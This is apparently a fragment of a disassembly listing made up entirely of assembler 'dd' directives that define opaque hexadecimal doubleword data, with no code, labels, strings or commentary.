		dd 0F8D95550h, 1A67687h, 98042BA3h, 70DFE947h, 4D005617h
		dd 0CA10F19Eh, 4C14093h, 85D9CC8Dh, 3FF4D068h, 0BE1FA176h
		dd 5841C8B6h, 0C112D05Dh, 517EC4h, 1588608Dh, 7306AC42h
		dd 400CB7Dh, 3E9D7852h,	27D22B48h, 9848694Ch, 0BDF4D35Bh
		dd 846D0900h, 0DDFC31AAh, 3E901986h, 0F057C8A2h, 780349F1h
		dd 3F65205h, 6210F8BCh
		dd 0CA73E5h, 0AAB506Ch,	489C60CEh, 6FA9100h, 384089FCh
		dd 80B25F1Dh, 5D4B301Ch, 7F00D890h, 48373E91h, 509AE768h
		dd 0C0CD9B7Dh, 67C65821h, 650031CCh, 1A942993h,	7FCE62h
		dd 0AD6889FFh, 0B7364C1h, 0D3380400h, 7D185B1Eh, 495BD1h
		dd 6BEBE1D0h, 7F0F65ADh, 60ABB561h, 5F5CD443h, 2F1E0787h
		dd 54C0D559h, 0B4B8E6h,	63DE3670h, 1F034981h, 0CE8A86A7h
		dd 7482A2DAh, 0E8F048D0h, 0E33B3800h, 220EEE98h, 271C04Ch
		dd 2AB68A88h, 75AE9301h, 81ED8C72h, 985EDAh, 3E35EF7Dh
		dd 0F701434h, 56C425h, 54BAB10h, 0B26008Dh, 9BAC38D3h
		dd 0F7F2DD20h, 367FA20Bh, 80A88143h, 0F035E62Ch, 4E2630h
		dd 8F14DAD3h, 0FED71639h, 3068BF26h, 0BBB22C80h, 65D1ED28h
		dd 0E0A3690Bh, 0BF005A18h, 4120F7D5h, 18D83CB5h, 0A99295E1h
		dd 73F8A3E9h, 2FEEE09h,	1F74FAD0h, 0C0CE7E6Eh, 4D08A745h
		dd 3B006826h, 6AC38B34h, 90FAE80Eh, 4A0C126h, 0C17230A3h
		dd 40A1DDB7h, 0D155213Ch, 40AD98A9h, 7947C4C0h,	0DB05E2E8h
		dd 11DFBBF5h, 62213C20h, 7301FE1h, 0B3850074h, 8BD6FC2Ch
		dd 70FACA05h, 0A8903BADh, 16BEFE8Ch, 12349850h,	40F206h
		dd 0E1082F9Eh, 2FD0DDFEh, 1001B315h, 508CE337h,	0B8527F98h
		dd 0C74B0E00h, 6E584884h, 1A34B9Bh, 1B855104h, 0B420DA64h
		dd 0A06C1CC1h, 0C1A61D84h, 0EF1F980h, 0BC684027h, 0BD00D274h
		dd 0DAFFC7C3h, 3E15E8h,	0E32E0BB5h, 0B2194E77h,	2012EFA1h
		dd 53302608h, 3C9961EBh, 69823079h, 0A2279611h,	0E712FB03h
		dd 0E830A60Eh, 3458DABh, 0F07472EEh, 0FC88E25Ah, 6554072Fh
		dd 2C267364h, 0D43C8B3Bh, 27886BCh, 0D11DC800h,	0C26677CDh
		dd 0D45D0272h, 44043A98h, 0A6489CC0h, 5AD08260h, 9FC75929h
		dd 0C9F20080h, 2401C641h, 575E834Fh, 0D0DBC8A8h, 90475D87h
		dd 3AF604B0h, 80FCF0EEh, 49C2C0D4h, 0B804B798h,	0B3FF7517h
		dd 0BF419C80h, 9C081F71h, 0B690C04Ch, 3B8C9B40h, 0ED48C901h
		dd 8E1F3249h, 9F721080h, 85B2EF2h, 547C521Fh, 0A4A884A4h
		dd 4FB010F3h, 720A00F6h, 967D21FCh, 0F0A891C7h,	1B2AEED8h
		dd 0D100A824h, 6CE0E105h, 2A259CBh, 3896D451h, 0C8E057DFh
		dd 0BE009385h, 4CE1E06Fh, 13108260h, 8116E945h,	0D4A32F18h
		dd 41EEC578h, 2DE0AB58h, 2A50E8DCh, 0CE3A076Ch,	0C0FDC57Eh
		dd 0FF48588Ah, 14822D00h, 0BDBF8132h, 7B300562h, 8384F874h
		dd 0F590D808h, 1316E642h, 2C0009A4h, 9B798151h,	4D7659h
		dd 2C89049Fh, 0F9B1805Eh, 1B5A1700h, 0F8367E4Ah, 0D15D006Fh
		dd 0DED838D4h, 1D0E7632h, 0A66BF7A0h, 1C6DBAh, 0F0846278h
		dd 0C438B58Fh, 9F75AB00h, 13B99E31h, 0B8570595h, 0C1AFAE87h
		dd 20A135CCh, 0A99DB26Ch, 5ECCD2C4h, 0F558803Eh, 0BF61B620h
		dd 0EBA52F21h, 84FC007Eh, 0C110A301h, 0F759B80Bh, 14F88Ah
		dd 0EA047B6Bh, 942F5A14h, 0E6723E2Dh, 57C01364h, 0A24200CAh
		dd 63C7AF26h, 3E1B5C92h, 7D6D1AAh, 0F8F651B8h, 12C03F30h
		dd 10F7BF79h, 0FA07ECF3h, 9EFEF313h, 0CBBD0C44h, 980AF8ECh
		dd 0F4DA3Fh, 0CAA471E5h, 0D2005C51h, 0A373821Ah, 0F0F109Ch
		dd 0DAF8489Dh, 7F61B4C0h, 0DB171ADEh, 2100E1EAh, 37AC28D0h
		dd 757100FEh, 0E7E460BFh, 0D2065B7Bh, 1AC63898h, 34F416B1h
		dd 0B84C88Dh, 9743120Bh, 884C00E2h, 569BC7h, 0D10307E8h
		dd 8F8D7783h, 2B0F6573h, 0A67AE64Eh, 95659EDh, 0B3452693h
		dd 0CA1C9058h, 2300290Eh, 138262DFh, 5831E879h,	391154C1h
		dd 8F7C8Dh, 419934F6h, 7F0044E4h, 7CCBB917h, 9014DBh, 5523C22Fh
		dd 8F723F3Ah, 0A182EE16h, 887C1040h, 2B926Bh, 0F6777EE3h
		dd 76B0A726h, 0C117B709h, 74C4B018h, 0D86D4D99h, 31833588h
		dd 0E053A23Fh, 7FD3B1Eh, 2514C79Ah, 42B53064h, 88489903h
		dd 16CA05ECh, 709C1BC0h, 0EFF38AFh, 5474424Bh, 0D868B9A1h
		dd 0CC16F367h, 241D6423h, 391F894Ch, 6CFE00C3h,	0AB5D4916h
		dd 6A098C01h, 0A5CC17BEh, 0DC804728h, 36AF98h, 4512EB09h
		dd 96CF6D49h, 1328FA13h, 8894B094h, 2A93B0B0h, 0B0A3AAh
		dd 0B7156FFFh, 8A03A12Ah, 0E4886351h, 0C80E409Bh, 289537h
		dd 552F3BB4h, 0F066E74Ch, 0BC20F621h, 70419133h, 7E75A06Eh
		dd 4609ADCh, 0CBAD1386h, 0F0FB826Dh, 350994A0h,	0B1031798h
		dd 4BC1E1F7h, 1C8948C9h, 0A8FE6200h, 0A6952BCDh, 3517D2E0h
		dd 2400C88Dh, 0B816D8EDh, 0E0B296h, 7531A35Eh, 28F5B71Fh
		dd 21608960h, 0C051323Fh, 235CACE9h, 0FB58933Ah, 428E38h
		dd 0EE1A2F30h, 6A2B0063h, 17FB2049h, 3E276670h,	3F30101Eh
		dd 33DB05D5h, 8042FB71h, 2770301Ch, 0C46402Ch, 324D9F00h
		dd 2AC23A8h, 0FDF0C6ECh, 8C08F55h, 0B0008C1Ah, 6FF446E3h
		dd 6CC81Fh, 0AF63086Dh,	872D7164h, 0D0252E7Fh, 18185807h
		dd 31C993ADh, 790FA67Ah, 816CE8EDh, 614BFDAAh, 0C0790EC3h
		dd 0C39FA440h, 9CCDDAC8h, 0E6A5F6F8h, 50C59501h, 2CC7BA6Bh
		dd 0C58DD452h, 27780040h, 0FFCBB854h, 8F04B2F0h, 0B6F3047Fh
		dd 0E8480BBBh, 98134052h, 481EF40Fh, 11E741C2h,	18DE92h
		dd 8C03C6C4h, 0D35858C9h, 0BE007724h, 0DD602E8Eh, 367409h
		dd 3DD64F62h, 0EC5A33B4h, 0D8412F2Ch, 0BEDA6A85h, 0F868B0h
		dd 3FE1D77h, 0A17CF68Eh, 40101C00h, 50AF8863h, 31B83F6Ah
		dd 0EDDBA700h, 1FD2CC5Ah, 57333800h, 122EFCC3h,	2B8A5C48h
		dd 4E25FD00h, 0C5C054A8h, 0AA55B01h, 8F663470h,	7BBB2083h
		dd 7DD05698h, 20059BCh,	0AE957E51h, 4C4F09h, 75F5423Ah
		dd 480BB139h, 979DC000h, 1B82FDEBh, 0B0FC3ECBh,	931AF580h
		dd 0ADB76862h, 1E5A8602h, 80F39223h, 3DAB50B8h,	0DFA2178Bh
		dd 874020F1h, 0EF18DDB9h, 0FF216D5Ch, 0ACC70026h, 89F38550h
		dd 0C2003ABBh, 0E99F1EAEh, 5BE14D48h, 0A79C8704h, 39BBC1D3h
		dd 3B50225Dh, 0CD0C8003h, 116B4D26h, 907400FDh,	614728CAh
		dd 730BF41Bh, 80FA578Dh, 0A7DC3B31h, 0CCC1005Ah, 0E345C562h
		dd 4A5C1722h, 0D90F8954h, 0A0DB134Ch, 0D9710CC0h, 0BD0A3Ch
		dd 8E1DAABBh, 5288C64h,	0C508E54Fh, 7E798085h, 730025FEh
		dd 7C19BC22h, 0FBFA3Bh,	0C12B740Bh, 0FD592A45h,	8707033Dh
		dd 997177F5h, 0B74CB251h, 1337F430h, 47AF9CEDh,	0D4A6E2E0h
		dd 2514A84Dh, 92D0703Ch, 0EAF89Ch, 79B43044h, 0C89A89FCh
		dd 8D2918C3h, 502A3B24h, 0E0E6BB80h, 6BD875EAh,	2F73660Eh
		dd 4A464280h, 1098591Fh, 270F80B1h, 0EC095Bh, 78C2AA11h
		dd 0B8EED65Fh, 96001BECh, 1E8E0536h, 160BD4C5h,	84F20FBFh
		dd 0DA409884h, 2633080Bh, 43583A82h, 0F19EF8B0h, 9C354C20h
		dd 0C3D24EC0h, 42799452h, 0BA2FD80Ch, 9D41835h,	47815D9h
		dd 0C1EABCA2h, 88CCEE24h, 143B168Dh, 4B3C38D5h,	0C9807BDh
		dd 3717FC91h, 0C00A4181h, 0E051DDCAh, 9CA023C3h, 0AF58A9E2h
		dd 4092002Ch, 0BD956826h, 411300E5h, 0E8DBCC52h, 8F007D99h
		dd 90204F4h, 75D80721h,	0BB3413A2h, 3CFE13ACh, 44A4C13Ch
		dd 2C370E4Eh, 0DE739820h, 0BDF91E80h, 4B8AC007h, 0B10A4C9Fh
		dd 80959325h, 587B3A5Ch, 5B3626D7h, 0A74878FCh,	610C2000h
		dd 34EB8455h, 0F9A4B41h, 15EE28D4h, 0CC7C6C60h,	0AA251AE7h
		dd 2E28E078h, 72525C9h,	6CC294B0h, 415C8203h, 0E04765E9h
		dd 8CB7EAh, 6B210EBAh, 0C14A3507h, 86FE300h, 0CB6CDDE6h
		dd 4CC4AC24h
		dd 320EE050h, 75806FDBh, 0CA48C267h, 9B57B700h,	2A80216Eh
		dd 0F0710101h, 74527E85h, 2E33E0E3h, 880088B1h,	2BBEE0D7h
		dd 0E8D4A027h, 0FD57263Fh, 0D6B14100h, 36D84083h, 76028877h
		dd 0B678EA9h, 0BA68CB3Ch, 45AA2h, 18914BC6h, 5AA31755h
		dd 62E53300h, 7BDA68C8h, 122A392Dh, 0A04BA505h,	0F5BC115h
		dd 6848607Ch, 350C8C0Ch, 995115Dh, 582A8B1Ah, 459B8840h
		dd 0E1C7A800h, 0F459A21Fh, 7EDF6BCh, 0C063B8D3h, 2791F0B1h
		dd 4B048625h, 4F8D2A2Ch, 0A36442EAh, 0F048B2A0h, 3909F241h
		dd 24ABFAD4h, 4CC87458h, 0D32400C5h, 97B81D5Fh,	0E1DE540h
		dd 388BCD7Ah, 0D8FC0BA7h, 4C200070h, 6341C9D8h,	0C10388EFh
		dd 0CC37CADFh, 7AD6B8D9h, 42DB0510h, 0F9D2A279h, 0BFC005Ch
		dd 0CF48B8A5h, 706000E1h, 72C0D613h, 66B01A6Eh,	0F95CEA03h
		dd 0B8E01D8Dh, 185004h,	0CC3C5FA6h, 26F60E7Bh, 8EFA8F00h
		dd 98115E60h, 80245EB0h, 7831E358h, 13C39703h, 1C21755Ah
		dd 806C84E9h, 38F14023h, 3A0730D7h, 415FEF3Eh, 0B832AE0h
		dd 45FC3Bh, 9E39FE4Fh, 77C61F06h, 32442601h, 0C9E3D1DCh
		dd 12E0473Fh, 440E89ABh, 0F0D900D1h, 21E5D676h,	171E0043h
		dd 0D0C70B69h, 0D5F2684Eh, 5D12E93Fh, 0EE200DCh, 7B799365h
		dd 1CD63936h, 82B9FB00h, 0DA329B53h, 0FA098002h, 0A3C094F3h
		dd 805C2AE0h, 143B97Bh,	2E0B1A90h, 0F0DFE052h, 0E4C5892h
		dd 20C91798h, 0EFB72C31h, 2F997D00h, 0D800637Fh, 58A03C65h
		dd 313D13Fh, 0C08352DDh, 0B0B5F3D0h, 3525B680h,	707070E0h
		dd 3CB8B4h, 377FCD86h, 0EC5C4CCAh, 8A7A8700h, 0D9F6D53Ah
		dd 4AA207BEh, 0ACB48D2Fh, 7894F4B1h, 7E3B9D00h,	5399B7Fh
		dd 455D720h, 417C8075h,	9D00A461h, 0D16DBB12h, 0BF76BEh
		dd 0C4AF26A8h, 0D4FABA21h, 58B8537Eh, 360B5E00h, 0DB1AD934h
		dd 8E871E67h, 2AD2C0CFh, 2F400930h, 52830800h, 6269CCC3h
		dd 185737Dh, 6516B21Ah,	0D0A037A1h, 0B3132767h,	0F8E08845h
		dd 94C50F47h, 3200E2A4h, 0A89519DDh, 0F46EF900h, 316F375Bh
		dd 0E1E300F2h, 0AF251ED6h, 0EF51943Bh, 2868F4h,	15E5119Ah
		dd 0E23FF7h, 0E4352A96h, 0C943ECFAh, 3AE7A300h,	40F90C12h
		dd 856700C7h, 0C5937845h, 3B00804Ah, 0F57D94E4h, 1313E1Eh
		dd 79BDA85Eh, 0F8245FADh, 0FA004C5Bh, 84F6F30h,	5AACA5h
		dd 0CEDE39C2h, 0FE6A669Eh, 280A449h, 17F8B163h,	0B8015D44h
		dd 43B971A1h, 0A391EDB9h, 54B8E0DFh, 0BE3CB07Bh, 4BC13F6Ch
		dd 1F6E84A4h, 807ECFC5h, 469F871Dh, 4348A6F7h, 63510B80h
		dd 2FF45949h, 0E13D1800h, 7617CB9Eh, 9CB4EDA5h,	98370005h
		dd 623B9917h, 4309B5BBh, 5C81F9E2h, 0E77E02D4h,	0A070402Eh
		dd 807C703Fh, 31AD4313h, 0C07A72FCh, 2050FB21h,	0D5007646h
		dd 0CBF2DE8h, 1F6C5C3Dh, 4116EEDBh, 60177705h, 2F5AE8F6h
		dd 26CAA812h, 8A3A8030h, 0E438009Bh, 57CDA572h,	0EB00395Eh
		dd 97D874FFh, 0BDEAC64Fh, 0E76BE007h, 0BC0FB0D6h, 0B578F270h
		dd 0EDFD50Eh, 0B7F04346h, 0C2201C5Fh, 1F38DEF5h, 8E1824Fh
		dd 476D3A7h, 0F0CCE3AFh, 2855FE8h, 3E511BE9h, 8055EAECh
		dd 6806818h, 0E0EF10D7h, 40FB2D4Bh, 0C6C448h, 0D63E834Dh
		dd 0A9A5284h, 0A00E2F28h, 1801E408h, 229E9361h,	81C0D7C0h
		dd 0F306029Ch, 0DCD14D23h, 1B21C03Ah, 96E687F1h, 81C8353Fh
		dd 7C9DEC5Fh, 0F3203B8Ch, 97E50267h, 539641B7h,	0EB48A081h
		dd 0CCD92F46h, 0BA936443h, 0DCA057CDh, 0CE149520h, 0F4FC580h
		dd 0B502ED61h, 0EEEFD4A2h, 0D059BD60h, 0EB00CCECh, 51153F4Ah
		dd 971476h, 1AD89606h, 0F13C8BD4h, 6431700Bh, 2E3080A6h
		dd 0C0C7A1F0h, 3D820E2h, 4E0B29FAh, 0B01538h, 0E9465F7Ch
		dd 1DC85C1Dh, 0BC71EA00h, 6ABAC333h, 2008B7Eh, 18699A79h
		dd 0E53E87h, 8109B2DEh,	0E65B125h, 1A66FF00h, 0A1016DD0h
		dd 0F00980Fh, 434DEE7Ch, 7922D800h, 3B007F52h, 0D375129Bh
		dd 986562E9h, 1F3AC08Ch, 0DEAF4EEBh, 27ACD01h, 0A75FD8EDh
		dd 169736FCh, 40C59BF6h, 0F4300CA8h, 90985958h,	0C610B95Ch
		dd 787A6Dh, 0C235A8E0h,	0D8CF2D6h, 2288B52Ch, 0EB653304h
		dd 0F8203CC7h, 50F355Eh, 17A01DA5h, 7F3CB0DFh, 0EF8C38B5h
		dd 7A630147h, 0AD1C8C73h, 98C02F46h, 9EE4BD8Fh,	0C520000Ch
		dd 4CF4318Eh, 0EB0BA67Fh, 59218Dh, 604632Ah, 4E880028h
		dd 86620227h, 1507FD36h, 0E4BCD276h, 5E2B6410h,	2D67AA6h
		dd 91238105h, 5FA047h, 0A20D9A70h, 0CDDA266Ah, 86807ECh
		dd 81A6956Eh, 0F85CC6A8h, 0DD0069B6h, 9BBE7BDBh, 1E215BEAh
		dd 4343F3B0h, 3FE220Dh,	0CF558880h, 83A4043Ah, 4425A9DEh
		dd 0F07AF4h, 7AF50B13h,	1C52CBABh, 5884BB00h, 0D3FCF448h
		dd 24C8900Fh, 173186BCh, 845F04AFh, 400EBBD5h, 0AC09C012h
		dd 425BD8h, 0E9F20D4h, 4055D9AFh, 21C7EF98h, 8210048Fh
		dd 3AB9232h, 60B083E1h,	0A9903898h, 4902FAEAh, 4B24DBCBh
		dd 0F49C406Eh, 0A1D2021Fh, 0A57F831Eh, 0B801D851h, 2E603E95h
		dd 0B6309910h, 0C40F1500h, 1D3E850h, 9FEB72E5h,	78A1C402h
		dd 0C75B6066h, 0FD4D28C0h, 90AC581Ch, 6049AB2Fh, 0AD4B20DFh
		dd 1E0C8702h, 4BE0FFA0h, 21D7CA10h, 2C53390Bh, 0A0C05B04h
		dd 2783B4AFh, 0E08134BAh, 0CAC3920Bh, 3D1564E9h, 8C35F24h
		dd 5A058320h, 0AD04C528h, 80B030Ch, 0B385F1A8h,	3C20007Dh
		dd 0CD8E5EF6h, 2C121CBDh, 740401BAh, 0E8C07FF1h, 5A6F4541h
		dd 8D70C891h, 5260D600h, 419E0AE6h, 0CAC80104h,	0F51CB87Dh
		dd 0F05DD1ACh, 0EE25E216h, 4F07056h, 0E666B7D4h, 0D8FD9Fh
		dd 96E365B4h, 60209371h, 0CA5C2131h, 4690C86Bh,	982D8F0Fh
		dd 8CA5961Eh, 6800006Eh, 26180F77h, 570BD37Fh, 0D0790Ch
		dd 0A520172Ch, 0DC0D0092h, 822FF1ECh, 0C95F7C29h, 12056000h
		dd 387FE633h, 0D78A28A9h, 1D5B63Fh, 0D1097C6Ah,	9FD0700Ah
		dd 1AA83A0Eh, 0A304B93h, 480DC55h, 4C88CF18h, 77B90006h
		dd 0CE32C0DEh, 7C17C8D8h, 9000689Bh, 499918CCh,	830F1BFh
		dd 0C46D05BDh, 21AA54Fh, 359FA9F8h, 36A3E900h, 2CE1007Ch
		dd 0A16D4743h, 91488EA7h, 802339BCh, 0F72B89A0h, 93C4EC9h
		dd 47CDA18Dh, 559F6C83h, 97F7BC8Bh, 76FBB2DBh, 0D112D058h
		dd 5C403A50h, 0F766E44Dh, 3B630680h, 5AD5BD0Ch,	0AE6BF50Ch
		dd 13C3B0F0h, 0A05B2CFFh, 12238D0h, 0D26327C5h,	8E5CB820h
		dd 5E4DDBF5h, 8CD10C4h,	4048C01Dh, 0FF572A14h, 0C909A6C8h
		dd 0C2D30A4h, 61113h, 5B17AEFh,	0CE31C1AEh, 0A4FF7800h
		dd 7EAF40D1h, 460B00C5h, 0E1CD6848h, 0AE0AC827h, 98083FE5h
		dd 93AFC708h, 96ECBC4Fh, 78A5E400h, 0D4010Dh, 4D155205h
		dd 0B8AFC264h, 3AEBCA50h, 0AADE5800h, 9474290Eh, 2BEF03BAh
		dd 278C2E69h, 0C549B7A9h, 84E86004h, 0E400D1E8h, 220F4020h
		dd 0E07E42h, 103EA625h,	0B58197EEh, 95D57F03h, 8C42D424h
		dd 53A80FBEh, 0B0A7A0E7h, 7A1591A9h, 0F8E63200h, 688F6D85h
		dd 9127FC3h, 0AA4918FFh, 8500B866h, 73E48169h, 2D3925h
		dd 4F1A07DDh, 4210AEE5h, 6505E300h, 971127FFh, 0A1F800DAh
		dd 9A3FF76Bh, 0AD1EB0C1h, 0DF0B0586h, 80602402h, 332CA4E8h
		dd 87EE00F0h, 0CA379878h, 213024B9h, 0B97F608h,	6315811Ch
		dd 18BD287Ah, 39F451BCh, 29A4FBC3h, 48CB04B4h, 9CA9CCh
		dd 1DF351D2h, 4896C14h
		dd 0C7C4078Eh, 2F87DFh,	267F64A4h, 5CC0585Bh, 17EEC5h
		dd 0BDE15449h, 0F152A2C8h, 7CBF503h, 0F0E54D20h, 0AAC938h
		dd 23B586CEh, 0FBBF22C4h, 0B5E1700h, 0AC109937h, 85053BF2h
		dd 87435D80h, 31DE03C0h, 6BB63600h, 24E1C3A1h, 2595001Dh
		dd 0E8BE268Fh, 621CA273h, 0AB415BFEh, 0FB3C2E47h, 30315DDDh
		dd 641EF541h, 36029872h, 0A110A720h, 991980FAh,	8821621Ch
		dd 0B82AF874h, 79F700C2h, 0CB4EA0C9h, 0A900A698h, 768475C2h
		dd 3E51CE49h, 7B803328h, 90C19489h, 5326E38Fh, 0C994381Bh
		dd 0AAEB13C8h, 700B0F9h, 54F0A8FEh, 0E3F655BAh,	8A69E501h
		dd 0D0D4E264h, 0F0F48A2Bh, 956BABC9h, 9E86E4C7h, 0E1894CEh
		dd 0EB975B70h, 74AABB9Dh, 8D2D4018h, 0E8ADBD80h, 3221000Bh
		dd 59657502h, 4C02618Fh, 0D6E6486Eh, 0F1F6033h,	2A77049Ah
		dd 0EA9D49DDh, 88BAAC28h, 330F7AD7h, 84F5BCB8h,	6C903E0Ch
		dd 0CC6834h, 0B72ECB4h,	3670EE97h, 247F3528h, 5A167827h
		dd 88E89728h, 9FE8CACEh, 147A3428h, 0AFA65000h,	60B16670h
		dd 0B43D254Eh, 0CF00EC72h, 0B6B9D416h, 0F55DB8Ch, 3F5E8A53h
		dd 4900F369h, 92EAD2A2h, 64232F00h, 9C8FC08Eh, 0FDE20108h
		dd 9FB05272h, 0F5DEFC8Bh, 0B8AA3D00h, 6EB25FD3h, 36B40FC5h
		dd 7DDEB87h, 36F89B4Eh,	8A00068Eh, 59C1ED0Ah, 7AC3BE7h
		dd 67EA304Bh, 0E2819099h, 2D019E4Fh, 8ED6C4A2h,	0F3C84BE7h
		dd 0F068B551h, 9C011ED2h, 5891567h, 4EE87775h, 3B2203ABh
		dd 0F5D4C730h, 26802640h, 0D253EE2h, 66782136h,	78F0840Bh
		dd 0C51D34Fh, 0A2213435h, 0BE9BBA07h, 388FAA1h,	0B5E2FEF6h
		dd 1DC4DAE0h, 0C5FF9000h, 34B92047h, 0CDE403h, 0CAD98984h
		dd 0B48E48FDh, 9B0F0BF8h, 8523E975h, 0D440A52Ch, 42B6B589h
		dd 1637004Ah, 17688109h, 0B00D01Dh, 94A2AA99h, 63AB9CAh
		dd 0BD5B7665h, 0E10080E4h, 0C2E78D7h, 19B584A4h, 28FD1D32h
		dd 603CF00Dh, 3E66A902h, 0D575B8BFh, 902FD400h,	9B7ECC4Dh
		dd 4A3DE803h, 802796F2h, 680CF4h, 3FE028FAh, 1B698EB1h
		dd 79289860h, 0E4E52Dh,	6586304Dh, 0D3DF4844h, 0A84C370Eh
		dd 0DD0160E8h, 3B4B3A0h, 68F5C4BDh, 3C80E7BCh, 0FB0096B5h
		dd 1C6F4850h, 90A4A2F4h, 0C0BCE8FEh, 0BA679508h, 6F0EEBD4h
		dd 80B53F2Fh, 0CED9960h, 69190FACh, 1D00F6ECh, 43800729h
		dd 0E003E774h, 0E99BA2E5h, 781000BAh, 84D215E1h, 7900EC56h
		dd 4C669C01h, 0C4BC5Ch,	9DDBB529h, 0E890D92Bh, 73D85D00h
		dd 1D48835h, 60E3FE6Fh,	8098C89Fh, 0C400044Dh, 0B126787Ch
		dd 51FA2328h, 94EC84FCh, 6EB401DDh, 0CDD37EA1h,	4C18809Ah
		dd 46D50DD4h, 0ABA20010h, 262884CBh, 5376D7C7h,	0ACE23100h
		dd 718F3C25h, 0A968C0D0h, 0C0D2EA5h, 74379C1Fh,	90754E8Fh
		dd 0F97CF804h, 89B680C8h, 4003FD70h, 9C8265DDh,	3BA799Bh
		dd 0E3022928h, 9ED3C8FBh, 87B78900h, 0C01352E6h, 7E380022h
		dd 9FF9C589h, 7F189543h, 8EE9A506h, 0B58D0063h,	0E4CC360Ah
		dd 6160B0ABh, 0E2FA0C81h, 0FDC500AEh, 0F2DA2E87h, 0F80F9DC3h
		dd 457112C1h, 1EC03E84h, 93D144h, 4C907D31h, 24288B10h
		dd 1739701h, 181F7823h,	0C0B481E2h, 0ECD4556Fh,	92CE2893h
		dd 0B0E21E93h, 494AC0E1h, 78189683h, 190D2200h,	4FCBA24Dh
		dd 92A077Ah, 10467E43h,	8B6ADA80h, 0EC2C9E0Fh, 47C0C0D9h
		dd 13C634h, 8473C7EBh, 0A90E30B2h, 80C260CFh, 37C8F1FCh
		dd 4675D6h, 0E98E4DFEh,	311DAB71h, 94255500h, 1899EA3Dh
		dd 0DD13002Bh, 6F036BF7h, 24A04830h, 0CC7428A1h, 7260B8C0h
		dd 60B1DAAAh, 25D710C0h, 373EB40Eh, 0BDCA1827h,	394E078h
		dd 799F89E1h, 4900A1A9h, 7C0523C8h, 38D6B36Fh, 568083DEh
		dd 7DA446BCh, 0E8321002h, 0E33039A8h, 48390595h, 0C644FB83h
		dd 920A101Bh, 0A4D94294h, 0E5101B81h, 6CF893B4h, 3EA8307Dh
		dd 76A3F039h, 0EBE899FEh, 6C0C3AE6h, 21A5A81Bh,	87A12C2Bh
		dd 270300AAh, 0AE7E1869h, 843E5000h, 956CDF80h,	56D30020h
		dd 0EA7A7047h, 19006681h, 1B8649EEh, 15FFF05h, 408AE28Dh
		dd 80B6C1C4h, 0DBEF7008h, 0F6017BA8h, 347469h, 0F3EE5AADh
		dd 0A6A76FD5h, 7D7C0DF8h, 0A15B2003h, 0E05ADEF1h, 744C3DEAh
		dd 58913CA3h, 82DF0100h, 0A9D866E2h, 32724A00h,	91B292F1h
		dd 31706Bh, 9DA1A41Ch, 0F0435CD6h, 0A8C13Eh, 7D58D110h
		dd 8388C4A5h, 7AE03005h, 921D6F16h, 7E004526h, 0CF7954ADh
		dd 375B1405h, 49164CCh,	0FA0CBEEBh, 94103E34h, 663074F8h
		dd 0F8D6218Dh, 5BAB010Fh, 2FC6A834h, 44089835h,	0DF621h
		dd 8539750Fh, 5815AE74h, 0A344BB7Fh, 24A10757h,	808EF2E8h
		dd 14D3B246h, 981DC53Ch, 55187E41h, 258518CEh, 0A9A491CFh
		dd 53A75100h, 4574AAAFh, 0B908C682h, 8F0120C2h,	1A765191h
		dd 69819EFCh, 0F12A9C13h, 8B0CE8BFh, 8CD1CA1Eh,	0C8DF18BEh
		dd 3D211D58h, 0EC006287h, 0AA857641h, 4006A03Eh, 5DF046BBh
		dd 815F0C48h, 70989A23h, 47AC4805h, 8C08C550h, 0DA6C042h
		dd 0ECEE5BADh, 0E3E08085h, 0E5D290Fh, 0BB59C807h, 8FC3BD3Dh
		dd 0FE94C1D2h, 9880CBD5h, 16016B20h, 0C8B847B3h, 84C0D32h
		dd 33D0A123h, 37EC0143h, 289861E3h, 8C476C18h, 71A1FBC8h
		dd 0C9A9034Dh, 65296419h, 9C061EA0h, 6015E0CFh,	0EC9D3D28h
		dd 8156181Bh, 88451894h, 3B8AE603h, 2B7BA49h, 0FEAF7F48h
		dd 0C48C5F0h, 0B50018E1h, 0D47D1B69h, 0A1CD628Ch, 2180EAACh
		dd 0C9B4F08Bh, 4600A18Dh, 0F15E704Fh, 60E67AD4h, 0D940C18Eh
		dd 0D1E2BC42h, 0C06DE0A9h, 0ACA0735Ah, 3A30B116h, 0F60851CBh
		dd 0A5583836h, 74170D0Fh, 0BCF3ADA2h, 60FF50A4h, 2366B4EDh
		dd 0C43DA51Bh, 0B4E11D80h, 8B7587EFh, 90BC7027h, 76041FC6h
		dd 0A03DC455h, 0AB988488h, 4853C0C8h, 1BD201ABh, 5F809DC5h
		dd 639EF0F8h, 20C7148h,	0A86D4B3Ah, 56200019h, 0BE00B6CDh
		dd 8EF3BCF4h, 6F480F4Eh, 0C480E01Dh, 8BAF78D0h,	0B3483872h
		dd 9E909C40h, 9F5F8D02h, 5449C07Eh, 30889ED2h, 0E0209A58h
		dd 0BE48186Dh, 0CA1D5036h, 150CE49h, 0F1C3AE64h, 10803319h
		dd 0C290F844h, 0C01B9EBh, 2E1C041Dh, 4887D112h,	50E27FB7h
		dd 0D542BA8Dh, 0F3A1F9C2h, 0BBCCA1EEh, 1982B919h, 0E8DDF237h
		dd 8646D044h, 0F851AA02h, 9D31876Dh, 51928410h,	0AA7B707h
		dd 0AF91FFEh, 178AB0C9h, 6280B872h, 49471DB3h, 0A3576CFh
		dd 0F0CE92D4h, 51AC4034h, 372153A6h, 589260B3h,	5500A850h
		dd 0F0A0B069h, 141DDFA4h, 0B4AA8819h, 3A04C126h, 9370C050h
		dd 0B4EE021Ch, 18421B43h, 81016C96h, 7FC0B486h,	12E8B090h
		dd 0F8A11454h, 3B0A88EEh, 809449FFh, 52857BB3h,	0BE07736Fh
		dd 5915179Ah, 1A230713h, 0F13D0AAAh, 61C8B486h,	41379C18h
		dd 7F653019h, 113C6094h, 0E576D591h, 0F1210F00h, 0FFE75AEAh
		dd 0A4350180h, 77B11B03h, 0FA498C98h, 0B489BFh,	0B9D15DA3h
		dd 518042E9h, 0FC773200h, 0D4C55350h, 8BBD1E0Fh, 48E84Ah
		dd 0EA8172Fh, 0F2FC5393h, 1F00DF71h, 0FF01F4F9h, 6EC9B97h
		dd 99F1A1C2h, 8D3070E3h, 0BD6879D5h, 453009Ah, 2B9CE622h
		dd 7F72D295h, 0FDDE1A14h, 8DD114CDh, 305E0154h,	73BDEAE1h
		dd 3E26BD8h, 9D65CDF7h,	9100752Dh, 4355E3AEh, 60FB7EADh
		dd 0F559D9B4h, 6D0170B7h, 1B44843Ch, 142297CEh,	203083F2h
		dd 360E3C7Dh, 93CC1889h
		dd 9191005h, 100494FCh,	0B4F160E3h, 9301986Ah, 13E8112Ch
		dd 7C008584h, 8FED6629h, 60160CF1h, 2321328Dh, 0A8CAEF00h
